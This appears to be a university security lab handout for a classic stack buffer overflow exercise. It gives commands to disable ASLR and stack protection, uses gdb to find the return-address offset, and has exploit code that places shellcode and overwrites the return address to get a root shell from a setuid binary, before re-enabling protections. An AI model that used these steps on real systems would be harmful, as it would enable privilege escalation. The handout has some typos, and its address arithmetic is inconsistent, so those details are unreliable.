**Lab2. Buffer Overflows**

A generic buffer overflow occurs when a buffer that has been allocated a specific storage space has more data copied to it than it can handle.

**Buffer overflow steps:**

1. Find the presense and location of buffer overflow vulnerability
2. Write mote data into the buffer than it can handle
3. Overwites the return address of a function
4. Changes the execution flow to the hacker code

**Submission:**

You will compose a lab report that documents each step you take, including screenshots to illustrate the effects of commands you type, and describing your observations. Simply attaching code without any explanation will not receive credits

**Time duration:** 1 week

Lab guide:

**Step 0. Preparation**

* **Ubuntu 16.04 (32-bit)**
* Source code: **stack.c, exploit.c/exploit.py**

**Step 1. Disable address randomization**

$sudo sysctl –w kernel.randomize\_va\_space=0

**Step 2. Finding the address of the inject code**

$gcc –z execstack –fno-stack-protector –g –o stack\_dbg stack.c

$touch badfile

$gdb stack\_dbg

(gdb)b bof 🡨 see the name of the function in stack.c

(gdb)run

(gdb)**p $ebp**

$1 = (void \*) 0xbfffeb38 🡨 xác định địa chỉ ebp (giá trị có thể khác trên máy SV)

(gdb)p &buffer

$2 = (char (\*) [100]) 0xbfffeb18 🡨 xác định địa chỉ của buffer (giá trị có thể khác trên máy SV)

(gdb) p/d 0xbffffeb38 – 0xbffffeb18 🡨 tính khoảng cách từ ebp – buffer

$3 = **32** 🡨 kết quả khoảng cách (giá trị có thể khác trên máy SV)

* Return address = ebp + (32 + 4) = ebp + 36

**Step 3. Edit exploit.c**

/\* Fill the return address fiel with a candidate entry point of the malicious code \*/

\*((long \*) (buffer + 36)) = 0xbfffeb48 + 0x80;

/\* Place the shellcode towards the end of the buffer \*/

Memcpy(buffer + sizeof(buffer) – sizeof(shellcode), shellcode, sizeof(shellcode));

**Step 4. Execute**

$ sudo ln -sf /bin/zsh /bin/sh

$ gcc -DBUF\_SIZE=100 -o stack -z execstack -fno-stack-protector stack.c

$ sudo chown root stack

$ sudo chmod 4755 stack

$ gcc -o exploit exploit.c

$./exploit // create the badfile

$./stack // launch the attack by running the vulnerable program

# <---- You’ve got a root shell!

**Step 5. Defeating Address Randomization (ASLR)**

$sudo sysctl –w kernel.randomize\_va\_space=2

**Step 6. Turn on the StackGuard Protection**

you should compile the program without the -fno-stack-protector option

**Step 7. Turn on the Non-executable Stack Protection**

we recompile our vulnerable program using the noexecstack option

$ gcc -o stack -fno-stack-protector -z noexecstack stack.c

===

Lab with exploit.py

ret = 0xbfffeb38 + **0x80 ///khac 0**

offset = 36